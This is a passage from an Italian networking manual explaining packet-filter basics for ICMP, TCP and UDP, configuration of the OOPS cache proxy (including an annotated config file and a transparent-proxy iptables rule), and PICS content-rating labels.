trasporto	*protocolli TCP, UDP, ICMP,...*	*porte o numero messaggio*	} TCP/IP
rete	*protocollo IP*	*indirizzi IP*	
collegamento dati	*protocollo della rete fisica sottostante*	*protocollo della rete fisica*	
fisico		*hardware*	

47.1.1 Caratteristiche elementari dei protocolli fondamentali

Sulla base del protocollo IP si utilizzano in modo particolare i protocolli ICMP, UDP e TCP. Le informazioni contenute nei pacchetti del protocollo ICMP sono diverse da quelle che riguardano UDP e TCP, principalmente per il fatto che nel primo non si utilizzano le porte. Infatti, il protocollo ICMP viene usato per l'invio di messaggi che riguardano il funzionamento della rete, distinguendoli in base a un numero. Pertanto, un pacchetto ICMP, oltre agli indirizzi IP di origine e di destinazione, contiene un numero che qualifica il tipo di messaggio (precisamente un tipo e un sottotipo).

Tabella 47.2. Alcuni tipi di messaggi ICMP.

Tipo	Nome	Chi lo utilizza
0	echo-reply	ping
3	destination-unreachable	traffico TCP e UDP
5	redirect	instradamento dei pacchetti
8	echo-request	ping
11	time-exceeded	traceroute

Figura 47.3. Viaggio di un messaggio ICMP.

I pacchetti dei protocolli UDP e TCP hanno la caratteristica comune di possedere, oltre all'indicazione dell'indirizzo di origine e di quello di destinazione, anche un numero di porta, sia per l'origine, sia per la destinazione. In altri termini, un pacchetto UDP o TCP è originato da un certo indirizzo IP e da una certa porta, essendo diretto a un certo indirizzo IP e a una certa porta.

Figura 47.4. Viaggio di un pacchetto UDP o TCP.

Evidentemente, l'informazione sulla porta serve a ogni nodo per distinguere il contesto per il quale viene inviato o ricevuto un pacchetto. In particolare, se il protocollo prevede una risposta di qualche tipo, questa avviene generalmente utilizzando le stesse porte in senso inverso.

Figura 47.5. Andata e ritorno per le connessioni che prevedono l'uso delle porte.

Per quanto riguarda il caso particolare del protocollo TCP, la connessione può avvenire solo se si forma un flusso di pacchetti sia di andata, sia di ritorno, anche se uno dei due flussi serve solo per confermare gli invii dall'altra parte. In questo senso, l'interruzione della comunicazione in una direzione impedisce anche l'altra.

47.1.2 Porte

Nei sistemi Unix si distinguono due gruppi importanti di porte: quelle privilegiate, rappresentate solitamente dall'intervallo da 0 a 1023, e le altre, non privilegiate, che vanno da 1024 a 65535.

La differenza sta nel fatto che i processi possono aprire localmente una porta del gruppo da 1 a 1023 solo se funzionano con i privilegi dell'utente '**`root`**'. In questo senso, si tratta generalmente di demoni che offrono un servizio attraverso la rete, restando in ascolto di una porta privilegiata, attraverso la quale poi rispondono quando interpellati.

Molti numeri di porta hanno un utilizzo convenzionale, specialmente per quanto riguarda il gruppo di quelle privilegiate. In questo modo si può prevedere quale sia la porta che occorre

interpellare per raggiungere un certo servizio in un nodo determinato. Per converso, generalmente, il processo che inizia la comunicazione rivolgendosi a un servizio noto, apre per conto proprio una porta non privilegiata. Si può osservare a questo proposito l'esempio che appare nella figura 47.6, in cui si vede che nel nodo «A» un programma di navigazione richiede e ottiene una connessione con il nodo «B» per un servizio HTTP, offerto lì attraverso la porta 80. La porta scelta dal navigatore per questa operazione viene presa a sua discrezione tra quelle non privilegiate che non sono già allocate o riservate per qualche scopo particolare.

Figura 47.6. Esempio di ciò che accade quando dal nodo «A» un processo instaura una connessione HTTP con il nodo «B»; in particolare, in questo caso il processo in questione utilizza localmente la porta 1083.

cliente HTTP
servente HTTP
nodo A
pacchetto di andata da «A:1083» diretto a «B:80»
pacchetto di ritorno da «B:80» diretto a «A:1083»
nodo B

47.1.3 Frammentazione IP

I pacchetti generati a livello di trasporto (TCP, UDP e ICMP) possono essere frammentati dal protocollo IP, in base alle necessità. In tal caso, i frammenti successivi al primo hanno meno informazioni a disposizione; per la precisione perdono le indicazioni salienti che permettono di identificare le loro caratteristiche in base ai protocolli del livello di trasporto. Generalmente, quando si inserisce un filtro al traffico IP si fa in modo di ricomporre i pacchetti, ammesso che sia garantito il passaggio obbligato attraverso il filtro stesso.

Figura 47.7. Informazioni essenziali nei pacchetti e livello in cui vengono inserite.

applicazione	*applicazione*	
presentazione		
sessione	*protocollo dell'applicazione*	
trasporto	*porte o numero messaggio*	TCP/IP
rete	*indirizzi IP*	TCP/IP
collegamento dati	*protocollo della rete fisica*	
fisico	*hardware*	

La figura 47.1 dovrebbe aiutare a capire il concetto: è il protocollo IP che si occupa di frammentare i pacchetti (al suo livello) quando il protocollo sottostante non è in grado di gestire le dimensioni che sarebbero richieste. Pertanto, nei pacchetti frammentati è garantita soltanto

la presenza dell'indicazione degli indirizzi IP del mittente e del destinatario, assieme alle informazioni necessarie a ricomporre i pacchetti. In questo modo, le informazioni relative alle porte TCP o UDP si trovano normalmente nel primo di tali frammenti, mentre gli altri ne sono sprovvisti.

Il protocollo TCP è in grado di frammentare e ricomporre i pacchetti provenienti dal livello superiore, ma questo non esclude la possibilità che debba intervenire anche una frammentazione ulteriore, a livello IP, a causa delle limitazioni della rete, di cui il protocollo TCP non può essere consapevole.

47.1.4 Pacchetti SYN

L'instaurarsi di una connessione TCP avviene attraverso fasi differenti, in cui vengono usati degli indicatori all'interno dei pacchetti per attribuire loro un significato speciale. In particolare, quando un pacchetto contiene il bit SYN attivo, si tratta di un tentativo di iniziare una nuova connessione.

L'individuazione del pacchetto SYN è importante per capire chi sia colui che inizia a fare qualcosa. Per esempio, se una connessione TCP avviene tra il nodo «A» con la porta 1083 e il nodo «B» con la porta 80, non vuol dire necessariamente che si tratti di una connessione iniziata da «A», così come non è detto che si tratti dell'utilizzo di un servizio HTTP.

Nella realizzazione di un sistema di filtri di pacchetti IP, potrebbe essere utile individuare i pacchetti SYN in modo da poter intervenire sulle comunicazioni in base al verso che hanno.

Figura 47.8. Il pacchetto SYN rivela da quale parte ha inizio la connessione.

A:1083 B:80

nodo A — pacchetto SYN iniziale per richiedere l'attivazione di una connessione TCP → nodo B

47.1.5 Conseguenze nell'introduzione di un filtro

Un filtro nel traffico dei pacchetti può tenere conto solo delle poche informazioni che questi portano con sé, considerando anche la possibilità che queste siano state contraffatte. In generale, diventa difficile poter dire: «voglio escludere il traffico del servizio "X"». In realtà si escludono i pacchetti che dovrebbero servire a quel tipo di servizio o che servono alla sua instaurazione.

La realizzazione di un filtro efficace per i fini che ci si aspetta di ottenere può essere realizzato solo conoscendo bene le caratteristiche dei protocolli coinvolti. In realtà, una conoscenza così approfondita è difficile da acquisire, anche quando il proprio lavoro è fare l'amministratore di rete. Infatti, una svista può causare il malfunzionamento di qualcosa, oppure, peggio, può lasciare aperto un passaggio a un aggressore o a un altro tipo di pericolo.

In generale, meno compiti si attribuiscono a un filtro, meglio si riesce a controllare la situazione. L'uso di programmi per l'analisi del traffico nella rete permette di comprendere meglio, in pratica, cosa succeda effettivamente (si veda eventualmente IPTraf descritto nella sezione 48.8.4).

47.1.5.1 Messaggi ICMP

In generale, bisogna fare molta attenzione se si introduce un qualche tipo di filtro ai pacchetti contenenti messaggi ICMP, dal momento che da questi dipende il funzionamento della rete. Sicuramente non si può escludere il passaggio di messaggi di tipo 3: *destination-unreachable*.

47.1.5.2 Protocolli basati su TCP

In linea di principio, i protocolli basati su TCP sulla base del presupposto che un servente collocato da qualche parte offra il suo servizio attraverso una porta privilegiata, mentre i clienti lo interpellano usando localmente una porta non privilegiata.

Volendo fare riferimento al caso del protocollo HTTP, si possono individuare le connessioni in uscita, verso serventi esterni, come quelle che avvengono tra il gruppo di porte locali non privilegiate e la porta 80 remota.

Tuttavia, non tutti i protocolli che si basano su TCP funzionano in modo così semplice. Alcuni aprono delle connessioni secondarie, utilizzando porte non privilegiate e non prestabilite, in base alle operazioni che si stanno svolgendo. In quei casi, diventa praticamente impossibile trovare un metodo per filtrare tali connessioni, allo scopo di lasciare transitare solo queste, mentre è comunque facile impedirle, perché bloccando la connessione iniziale si ottiene il risultato.

47.1.5.3 Protocolli basati su UDP

I protocolli basati su UDP possono essere ancora più articolati rispetto al TCP. Di solito vengono presi in considerazione per bloccarli semplicemente, eventualmente con l'unica eccezione di ciò che serve alla gestione del DNS.

Il servizio DNS si basa sulla porta 53, ma può usare il protocollo UDP o TCP, a seconda della necessità. Per concedere espressamente il transito ai pacchetti relativi al protocollo DNS, occorre agire su UDP e TCP.

Figura 47.9. Esempio del transito di pacchetti relativo all'utilizzo di un servizio DNS.

cliente DNS
n >= 1024
servente DNS
pacchetti UDP o TCP da A:n» a «B:53»
nodo A
nodo B
pacchetti UDP o TCP da «B:53» diretti a «A:n»

47.2 Cache proxy

Nella terminologia utilizzata per le reti, un ***cache proxy*** è un servizio di memorizzazione locale delle risorse della rete richieste più frequentemente. Con il termine «risorsa» si deve intendere un oggetto a cui si accede attraverso un URI.

L'utilizzo di un proxy offre due vantaggi principali: l'accesso rapido a risorse già accumulate nella memoria cache e la riduzione del traffico nella rete che precede il proxy stesso.

47.2.1 Schema essenziale

Il proxy si interpone nella rete agendo, idealmente, al di sopra del quinto livello del modello ISO-OSI, come si vede nella figura 47.10. Infatti, il cliente di un proxy intrattiene normalmente una connessione HTTP o FTP; così il proxy deve intrattenere lo stesso tipo di connessione, per conto proprio, con il servente a cui il cliente avrebbe voluto rivolgersi realmente, a meno di ottenere tali risorse dalla propria memoria cache.

Figura 47.10. Il proxy trasferisce PDU al di sopra del quinto livello; in pratica gestisce direttamente i protocolli a livello di sessione.

Il servizio di cache proxy può essere collocato in posizioni differenti nella rete, a seconda delle esigenze o delle particolarità delle situazioni. Generalmente, lo scopo è quello di servire un segmento di rete, indifferentemente dal fatto che questo segmento utilizzi indirizzi privati o sia accessibile dall'esterno.

47.2.1.1 Servire un segmento di rete

Quando un proxy viene utilizzato per servire un segmento di rete rispetto alla rete esterna, senza fare altre considerazioni, è sufficiente che l'elaboratore su cui viene collocato il servizio sia accessibile da questo segmento di rete e che a sua volta sia in grado di accedere all'esterno.

Figura 47.11. In questa situazione, il servente proxy è collegato come tutti gli altri elaboratori al segmento di rete da servire.

A questa situazione appartiene anche il caso limite in cui il proxy serve solo se stesso, quindi la stessa macchina è servente e anche cliente.

47.2.1.2 Proxy a più livelli

Un proxy potrebbe servirsi di altri proxy quando si tratta di accedere a reti determinate, alleggerendo in questo modo il carico della rete anche in altri punti, non solo nel tratto immediatamente precedente.

Figura 47.12. Ogni collegamento ha un proprio proxy locale che però si avvale di un proxy principale prima di raggiungere la rete esterna.

La figura 47.12 mostra il caso di un collegamento a una rete esterna, (A), condiviso da due segmenti di rete, i quali si uniscono a questa attraverso i collegamenti B e C. A valle del collegamento A si trova un proxy il cui scopo è quello di ridurre il più possibile il traffico attraverso quel tratto; a valle dei collegamenti B e C si trovano altri proxy locali il cui scopo è quello di ridurre il traffico attraverso i collegamenti rispettivi. In questa situazione, i proxy locali utilizzano a loro volta il servente principale, mentre tutto quello che viene accumulato nei proxy locali, viene conservato anche in quello principale.

47.2.1.3 Proxy come filtro verso l'esterno

Il servente proxy, se si trova in un elaboratore che è connesso simultaneamente, attraverso interfacce di rete differenti, a una rete interna con indirizzi privati (cioè esclusi da Internet) e alla rete esterna, può essere utilizzato per permettere ai clienti della rete privata di avere accesso all'esterno attraverso il proxy stesso. Ma questo accesso si limita ai protocolli gestiti dal proxy; spesso si tratta solo di HTTP e FTP.

Figura 47.13. Come caso estremo, il proxy può ricoprire anche un ruolo di filtro e inoltro di pacchetti tra una rete privata e la rete esterna.

rete esterna
servente
proxy
filtro
rete con indirizzi IP privati
cliente
cliente
cliente
cliente

Va anche osservato che, in una condizione di questo tipo, l'elaboratore che svolge il servizio proxy potrebbe essere configurato per renderlo «trasparente». In pratica, ciò richiede che i pacchetti del protocollo TCP, destinati alle porte dei servizi di cui si occupa il proxy, vengano dirottati alla porta del proxy stesso. Ma ciò richiede anche che il proxy sia configurato per questa situazione, in quanto deve agire come se fosse un router. Per quanto riguarda gli elaboratori clienti della rete locale, questi verrebbero configurati come se il proxy fosse un router in grado di metterli in comunicazione con la rete esterna.

47.2.2 Dal lato del cliente

I clienti per la navigazione, vanno configurati per poter sfruttare il servizio del cache proxy. Per esempio, la figura 47.14 mostra la finestra di configurazione di un navigatore comune.

Figura 47.14. Esempio di configurazione di un navigatore comune per l'utilizzo del cache proxy. Si osservi il fatto che per usare la porta 8080 occorre che il servente sia in ascolto sulla stessa.

I programmi di navigazione offrono anche la possibilità di richiedere al proxy di prelevare una nuova copia della pagina, pure se non sono scaduti i tempi previsti. Nel caso di programmi grafici si tratta normalmente di selezionare pulsanti del tipo [RELOAD], [RICARICA] o simili.

Il proxy risponde alle richieste dei programmi clienti attraverso una porta particolare, la quale dipende dalla configurazione del servizio. Apparentemente, ogni tipo di proxy ha una sua impostazione predefinita differente, mentre la tendenza generale è quella di utilizzare la porta 8080. È necessario fare attenzione a questo particolare quando si configura il proxy, per non creare confusione inutile agli utenti del servizio.

47.2.3 Caratteristiche comuni ai cache proxy da considerare

Prima di affrontare lo studio di un tipo particolare di cache proxy, vale la pena di riordinare le idee sulle esigenze tipiche di un servizio del genere, dal momento che queste si riflettono nella configurazione relativa. In breve i problemi riguardano essenzialmente i punti seguenti:

- **amministrazione della memoria cache**
  - collocazione dei file utilizzati dalla memoria cache
  - utente e gruppo proprietari di questi file
  - dimensione massima della memoria cache
  - dimensione massima di una singola risorsa accumulabile

- scadenza massima per la validità delle informazioni accumulate nella memoria cache
  - Indirizzi esclusi dall'accumulo nella memoria (solitamente quelli che contengono le stringhe '`?`' e '`cgi-bin`', perché riguardano probabilmente delle interazioni con programmi CGI)

- **utenze**

  - individuazione degli indirizzi che possono accedere per utilizzare il servizio
  - utente fittizio mostrato all'esterno (di solito per l'accesso a un servizio FTP anonimo)

- **connessione**

  - porta o porte attraverso cui resta in ascolto per le richieste di connessione (di solito si usa la porta 8080)
  - indirizzi e porte di altri servizi del genere da interpellare se disponibili (per non sovraccaricare la rete)

47.2.4 OOPS

OOPS[1] è un programma specifico per la gestione di un cache proxy, relativamente più leggero di altri dal punto di vista elaborativo, ma in grado di fornire le funzionalità principali di questo tipo di servizio. Da un punto di vista «pratico», un aspetto importante di OOPS sta nel fatto che la sua memoria cache può essere costituita anche da un solo file molto grande o da un uso esteso della memoria centrale.

Quando si installa OOPS da un pacchetto già pronto per la propria distribuzione GNU, dovrebbe essere predisposto automaticamente lo script della procedura di inizializzazione del sistema che consente di avviare e fermare il servizio in modo semplice, con un comando simile a quello seguente:

```
/etc/init.d/oops start|stop
```

OOPS si compone del demone '`oops`', il quale viene avviato normalmente sullo sfondo. Se inizialmente OOPS viene avviato con i privilegi dell'utente '`root`', questo può funzionare successivamente con privilegi minori, associati a un utente fittizio apposito (per esempio potrebbe trattarsi dell'utente e del gruppo '`proxy`'). Naturalmente, la scelta dell'utenza in questione non è casuale e di conseguenza devono essere organizzati i permessi di accesso ai file che OOPS deve utilizzare durante il funzionamento; pertanto, generalmente conviene affidarsi a quanto già predisposto da chi ha realizzato il pacchetto applicativo per la propria distribuzione GNU.

La configurazione è naturalmente l'aspetto più importante dell'utilizzo di OOPS. Si tratta di un file principale che eventualmente può importare porzioni di configurazione in file esterni, oltre che elenchi di nomi per le regole ACL. Il file di configurazione potrebbe essere precisamente '`/etc/oops/oops.cfg`', ma può essere cambiato utilizzando l'opzione '`-c`', come descritto nella pagina di manuale *oops(8)*.

Il file di configurazione è un file di testo, dove le righe che iniziano con il simbolo '`#`' sono ignorate, assieme a quelle bianche o vuote. Le direttive più comuni occupano una riga soltanto,

mentre possono essere presenti delle sezioni che contengono insiemi di direttive riferite a un contesto particolare. In generale, la documentazione originale, riferita alla configurazione, va letta tenendo a fianco un esempio del file di configurazione standard, contenente molte direttive commentate.

Tabella 47.15. Alcune direttive di configurazione.

Direttiva	Descrizione
`include` ***file***	Include un file esterno come parte della configurazione.
`http_port` ***n_porta***	Permette di modificare la porta predefinita per l'ascolto delle richieste dei clienti. La porta predefinita è 3128.
`icp_port` ***n_porta***	Definisce il numero di porta attraverso cui OOPS riceve e invia le richieste ICP da e verso i cache proxy prossimi. Il valore predefinito è 3130.
`userid` ***nome_utente***	Specifica il nome di un utente fittizio; questo serve a OOPS per funzionare con privilegi ridotti.
`stop_cache` ***stringa***	Permette di indicare una stringa che potrebbe essere contenuta in un URI. Tali URI non vengono accumulati nella memoria cache. Di solito si fa questo per i documenti che sono da ritenere dinamici.
`mem_max` ***memoria_ram***`m`	Definisce la quantità di memoria centrale massima (espressa in mebibyte, corrispondente al simbolo Mibyte, se il valore è seguito dalla lettera «m» minuscola, come nel modello) che OOPS può utilizzare.
`lo_mark` ***memoria_ram***`m`	Definisce un livello di guardia nell'utilizzo della memoria centrale massima (espressa in mebibyte, corrispondente al simbolo Mibyte, se il valore è seguito dalla lettera «m» minuscola, come nel modello) che OOPS utilizza; quando si supera tale livello, gli oggetti corrispondenti agli indirizzi che OOPS raggiunge vengono salvati nello spazio su disco. Il valore di '**`lo_mark`**' deve essere inferiore a '**`mem_max`**' e in generale è conveniente che sia pari esattamente alla metà di '**`mem_max`**'.
`maxresident` ***dimensione***`m`	Permette di definire la dimensione massima (in questo caso espressa in mebibyte) di ogni oggetto che viene conservato nella memoria cache. Gli oggetti di dimensione maggiore, non vengono accumulati.

Direttiva	Descrizione

`storage {`
    `path` ***percorso*** `;`
    `size` ***n***`m;`
`}`
`storage {`
    `path` ***percorso*** `;`
    `size auto;`
`}`
	Questa sezione consente di specificare il percorso assoluto del file usato per accumulare la memoria cache e la sua dimensione (in questo caso in mebibyte). Il file potrebbe essere '`/var/spool/oops/storages/oops_storage`'. Si osservi che questi file, prima di poter essere utilizzati devono essere inizializzati con l'opzione '**`-z`**' dell'eseguibile '**`oops`**'.

`logfile` ***percorso*** `accesslog` ***percorso*** `pidfile` ***percorso*** `statistics` ***percorso***	Queste direttive, rispettivamente, consentono di specificare i file usati da OOPS per annotare: informazioni diagnostiche sul funzionamento, gli accessi, il numero PID del processo principale e un riassunto statistico.
`local-networks` ***indirizzo*** / ***n_bit***...	Consente di specificare diversi gruppi di indirizzi da considerare locali, tali da non richiedere l'accumulo da parte di OOPS.

`group` ***nome*** `{`
    `networks` ***indirizzo*** / ***n_bit***...`;`
    [`redir_mods transparent;`]
    `badports` ***elenco_porte*** `;`
    `http {`
        `allow dstdomain *;`
    `}`
`}`
	Quello che si vede è un modello tipo per la definizione di un gruppo. Si tratta precisamente di una sezione che individua un insieme di indirizzi da cui provengono le richieste, allo scopo di concedere o meno dei privilegi.

`module transparent {`
    `myport` ***porta***
`}`
	Consente di attivare la gestione necessaria in caso di proxy trasparente e va usata assieme alla direttiva '**`redir_mods transparent`**' nel gruppo coinvolto. La porta deve corrispondere a quella specificata nella direttiva '**`http_port`**'.

`acl` ***nome*** ***tipo*** ***stringa*** `acl` ***nome*** ***tipo*** `include:`***file***	Questa direttiva permette di definire un nome attraverso cui identificare un «controllo di accesso». La cosa si può articolare in modo molto complesso e inizialmente è meglio concentrarsi su alcuni tipi di utilizzo.
`acl_deny` [`!`] ***nome***...	Vieta l'accesso al filtro di accesso identificato dal nome; se si indicano più nomi, si intendono combinare con l'operatore booleano AND. A questo proposito, un nome preceduto dal punto esclamativo inverte il senso di ciò che rappresenta.

Viene mostrato un esempio completo di configurazione, abbastanza semplificato, in cui appaiono anche diverse regole usate per impedire di raggiungere oggetti che terminano con una

certa estensione, che contengono parole chiave sospette (perché possono fare supporre contenuti non appropriati in realtà particolari) o che appartengono a un elenco di domini ritenuti non adatti. Si osservi che questa configurazione consente il funzionamento in qualità di proxy trasparente, se viene predisposta la ridirezione necessaria del traffico TCP, porta 80, verso la porta del proxy, che in questo caso è 8080.

Listato 47.16. Esempio commentato di configurazione completa di OOPS.

```
##
## /etc/oops/oops.cfg
##
#
# Porta da cui ricevere le richieste da parte dei clienti.
#
http_port 8080
#
# Modifica del numero UID efficace subito dopo l'avvio. Deve essere
# conforme al modo in cui OOPS è stato installato, oppure va
# rimossa la direttiva.
#
userid  proxy
#
# Registri e statistiche sul funzionamento e sull'utilizzo di OOPS.
#
logfile         /var/log/oops/oops.log
accesslog       /var/log/oops/access.log
pidfile         /var/run/oops/oops.pid
statistics      /var/run/oops/oops_statfile
#
# Memoria centrale disponibile per OOPS.
#
mem_max         128m
#
# Quantità massima di oggetti in memoria centrale.
#
lo_mark         16m
#
# Scadenza dei documenti.
#
default-expire-value    7
ftp-expire-value        7
max-expire-value        30
last-modified-factor    5
default-expire-interval 1
#
# Spazio libero in percentuale.
#
disk-low-free   10
disk-ok-free    20
#
# Force_http11 - turn on http/1.1 for each request to document server
# This option required if module 'vary' used.
#
force_http11
```

```
#
# Fa in modo di verificare sempre che i dati siano aggiornati.
#
always_check_freshness
#
# Dimensione massima di un singolo oggetto memorizzato.
#
maxresident     2m
#
# Aggiunge informazioni sulle intestazioni HTTP.
#
insert_x_forwarded_for  yes
insert_via              yes
#
# ACL standard
#
acl     MSIE            header_substr   user-agent MSIE
acl     ADMINS          src_ip          127.0.0.1
acl     PURGE           method          PURGE
acl     CONNECT         method          CONNECT
acl     SSLPORT         port            443
#
acl_deny PURGE !ADMINS
acl_deny CONNECT !SSLPORT
#
# Definisce alcune direttive ACL per individuare dei file in base
# all'estensione. In seguito, le richieste che coincidono con queste
# direttive ACL vengono bloccate.
#
acl BAN_mp3     urlregex \.mp3$
acl BAN_ogg     urlregex \.ogg$
acl BAN_mpeg    urlregex \.mpeg$
acl BAN_mpg     urlregex \.mpg$
acl BAN_tar_gz  urlregex \.tar\.gz$
acl BAN_zip     urlregex \.zip$
acl BAN_exe     urlregex \.exe$
acl BAN_vfw     urlregex \.vfw$
acl BAN_avi     urlregex \.avi$
acl BAN_asx     urlregex \.asx$
acl BAN_qt      urlregex \.qt$
acl BAN_ram     urlregex \.ram$
acl BAN_rm      urlregex \.rm$
#
acl_deny BAN_mp3
acl_deny BAN_ogg
acl_deny BAN_mpeg
acl_deny BAN_mpg
acl_deny BAN_tar_gz
acl_deny BAN_zip
acl_deny BAN_vfw
acl_deny BAN_avi
acl_deny BAN_asx
acl_deny BAN_qt
```

```
acl_deny BAN_ram
acl_deny BAN_rm
#
# Aggiunge un file esterno contenente nomi di dominio a cui
# impedire l'accesso.
#
acl      BAN_blacklists_drugs  dstdom  include:/etc/oops/blacklists/drugs
acl_deny BAN_blacklists_drugs
#
# Non conserva pagine CGI.
#
stop_cache      ?
stop_cache      cgi-bin
#
# Reti locali (tutte le reti private).
#
local-networks  10/8 192.168/16 172.16/12
#
# Gruppi.
#
group   world   {
        networks        0/0;
        redir_mods      transparent;
        badports        [0:79],110,138,139,513,[6000:6010];
        http {
                allow   dstdomain * ;
        }
}
#
# Accumulo dati su disco.
#
storage {
        path /var/spool/oops/storages/oops_storage ;
        size auto ;
}
#
# Messaggi di errore.
#
module err {
        template /etc/oops/err_template.html
        lang us
}
#
# Socket di dominio Unix usato da OOPS
#
module oopsctl {
        socket_path     /var/run/oops/oopsctl
        html_refresh    300
}
#
# Modulo "Vary"
#
module  vary {
```

```
        user-agent      by_charset
        accept-charset  ignore
}
#
# Proxy trasparente.
#
module  transparent {
        myport                  8080
}
#
# Registro degli accessi scritto come se fosse il registro di un servente
# HTTP comune, adatto all'elaborazione con Webalizer o programmi simili.
# Si veda la documentazione originale per la spiegazione del significato
# delle metavariabili %...
#
module customlog {
        path    /var/log/oops/access_webalizer
        format  "%h->%A %l %u [%t] \"%r\" %s %b \"%{User-Agent}i\""
}
#
# Indici
#
module  berkeley_db {
        dbhome  /var/spool/oops/DB
        dbname  dburl
}
```

Per attivare la memoria cache su disco, secondo quanto appare in questo esempio di configurazione, occorre predisporre il file '`/var/spool/oops/storages/oops_storage`' nel modo seguente. Si osservi che si decide di utilizzare un file da 512 Mibyte e si presume che il file di configurazione sia precisamente '`/etc/oops/oops.cfg`':

`#` **`cd /var/spool/oops/storages`** [*Invio*]

`#` **`dd if=/dev/zero of=oops_storage bs=1k count 512k`** [*Invio*]

`#` **`chown proxy:  oops_storage`** [*Invio*]

`#` **`oops -z -c /etc/oops/oops.cfg`** [*Invio*]

Verso la fine del file di configurazione di esempio appare la sezione '**`module customlog`**' con cui viene dichiarato il file '`/var/log/oops/access_webalizer`' che OOPS deve compilare utilizzando un formato particolare (questo file si affianca a quello standard della direttiva '**`accesslog`**'). In questo caso, il modello per la costruzione di questo file è tale da essere compatibile con quello comune dei serventi HTTP, pertanto diventa compatibile anche con Webalizer (sezione 46.7.1), il quale può servire per analizzare meglio in che modo viene usato il proxy.

Si ricorda che in un sistema GNU/Linux è necessario dare un comando simile a quello seguente per ottenere in pratica la funzionalità di proxy trasparente, tenendo anche conto che ciò riguarda soltanto gli altri nodi che si avvalgono del proxy in qualità di router:

```
# iptables -t nat -A PREROUTING -p tcp --dport 80 -i eth1 ↩
↪         -j REDIRECT --to-port 8080 [Invio]
```

In questo caso, l'interfaccia di rete '`eth1`' è quella rivolta verso la rete che si vuole controllare.

47.3 PICS: *Platform for Internet content selection*

PICS, ovvero *Platform for Internet content selection*, è un metodo per classificare, autonomamente, o attraverso l'intervento di un'autorità di classificazione esterna, i contenuti distribuiti elettronicamente attraverso Internet.

47.3.1 Come si classifica

PICS definisce i contenuti attraverso una sorta di linguaggio, nel quale però i valori delle informazioni sono da stabilirsi. Per esempio, un certo contenuto potrebbe essere classificato con il codice seguente:

```
(PICS-1.1 "http://www.weburbia.com/safe/ratings.htm"
 l r
 (s 0))
```

La classificazione si rifà a quanto definito da qualcuno; nell'esempio, si tratta di ciò che viene descritto proprio nella pagina ⟨*http://www.weburbia.com/safe/ratings.htm*⟩. Pertanto, non esiste un metodo universale di classificazione, ma solo contestuale.

La classificazione può essere eseguita dall'autore stesso di un lavoro digitale, ma in tal caso si tratta di una semplice dichiarazione libera di ciò che questo contiene, a vantaggio del pubblico. In alternativa, la classificazione può essere eseguita da chi pubblica il materiale, anche in questo caso con lo stesso intento di agevolare il pubblico. La classificazione può avvenire anche per opera di un classificatore certificato, il quale può «firmare» la propria classificazione (in tal caso si usa un'estensione del linguaggio PICS, definita DSig). Segue un esempio di classificazione firmata, tratta da *PICS Signed Labels (DSig) 1.0 Specification* ⟨*http://www.w3.org/TR/REC-DSig-label/*⟩:

```
(PICS-1.1 "http://www.gcf.org/v2.5"
   by "John Doe"
   labels
      for "http://www.w3.org/PICS/DSig/Overview"
      extension
         (optional "http://www.w3.org/TR/1998/REC-DSig-label/resinfo-1_0"
            ("http://www.w3.org/TR/1998/REC-DSig-label/SHA1-1_0" "aba21241241=")
            ("http://www.w3.org/TR/1998/REC-DSig-label/MD5-1_0" "cdc43463463="
             "1997-02-05T08:15-0500"))
      extension
         (optional "http://www.w3.org/TR/1998/REC-DSig-label/sigblock-1_0"
            ("AttribInfo"
               ("http://www.w3.org/PICS/DSig/X509-1_0" "efe64685685=")
               ("http://www.w3.org/PICS/DSig/X509-1_0"
                "http://SomeCA/Certs/ByDN/CN=PeterLipp,O=TU-Graz,OU=IAIK")
               ("http://www.w3.org/PICS/DSig/pgpcert-1_0" "ghg86807807=")
               ("http://www.w3.org/PICS/DSig/pgpcert-1_0"
                "http://pgp.com/certstore/plipp@iaik.tu-graz.ac.at"))
```

```
             ("Signature" "http://www.w3.org/TR/1998/REC-DSig-label/RSA-MD5-1_0"
                ("byKey" (("N" "aba212412412=")
                          ("E" "3jdg93fj")))
                ("on" "1996-12-02T22:20-0000")
                ("SigCrypto" "3j9fsaJ30SD=")))
        on "1994.11.05T08:15-0500"
        ratings (suds 0.5 density 0 color 1))
```

47.3.2 Come si pubblica la classificazione

In generale, la classificazione di un contenuto elettronico può essere fornita attraverso il protocollo di comunicazione che consente di accedervi. Nel caso più comune, dovrebbe essere inserita nel protocollo HTTP, evidentemente a opera del servizio che pubblica i contenuti (il servente HTTP). Per esempio, a seguito della richiesta da parte di un navigatore di prelevare un certo file, la risposta del servizio potrebbe contenere l'intestazione seguente:

```
HTTP/1.0 200 OK
Date: Tue, 01 Jan 2011 17:44:46 GMT
Last-Modified: Tue, 01 Jan 2010 21:07:24 GMT
PICS-Label:
 (PICS-1.1 "http://www.weburbia.com/safe/ratings.htm"
  l r
  (s 0))
Content-Type: text/html

…
```

Ciò consente di classificare tutti i tipi di file, senza doverli alterare per aggiungervi tale informazione; si pensi alle immagini, ai file audio, ai filmati. Nel caso di documenti HTML, è comunque possibile mettere la classificazione in un elemento '**META**':

```
<!DOCTYPE HTML PUBLIC "ISO/IEC 15445:2000//DTD HTML//EN">
<HTML>
<HEAD>
…
  <META http-equiv="PICS-Label" content='
   (PICS-1.1 "http://www.weburbia.com/safe/ratings.htm"
    l r
    (s 0))
  '>
…
</HEAD>
…
</HTML>
```

Evidentemente, la possibilità di inserire la classificazione in un elemento '**META**', consente all'autore di un opera di eseguire questo compito.

47.3.3 Come si sceglie e come si interpreta la classificazione

Come già accennato, il sistema PICS dà il modo di inserire delle informazioni per la classificazione di un contenuto, ma non definisce le classificazioni in sé. Per questo occorre rivolgersi a dei cataloghi noti. Per esempio, *Safe for kids* ⟨http://www.weburbia.com/safe/ratings.htm⟩ definisce solo tre valori:

- 0 adatto a un pubblico infantile;
- 1 adatto a un pubblico di minori, ma sotto la guida degli adulti;
- 2 adatto a un pubblico adulto.

In pratica, i tre livelli rispecchiano le classificazioni comuni usate per i programmi televisivi (bollino verde, giallo o rosso).

I tre livelli si applicano a un contenuto elettronico con i tre codici seguenti, rispettivamente:

- ```
  (PICS-1.1 "http://www.weburbia.com/safe/ratings.htm" l r (s 0))
  ```
- ```
  (PICS-1.1 "http://www.weburbia.com/safe/ratings.htm" l r (s 1))
  ```
- ```
  (PICS-1.1 "http://www.weburbia.com/safe/ratings.htm" l r (s 2))
  ```

L'interpretazione della classificazione e l'eventuale censura, può avvenire a opera del navigatore stesso, oppure di un programma che si interpone in qualità di «procuratore» (noto comunemente come proxy).

47.4 Introduzione ai concetti di firewall e di NAT/PAT

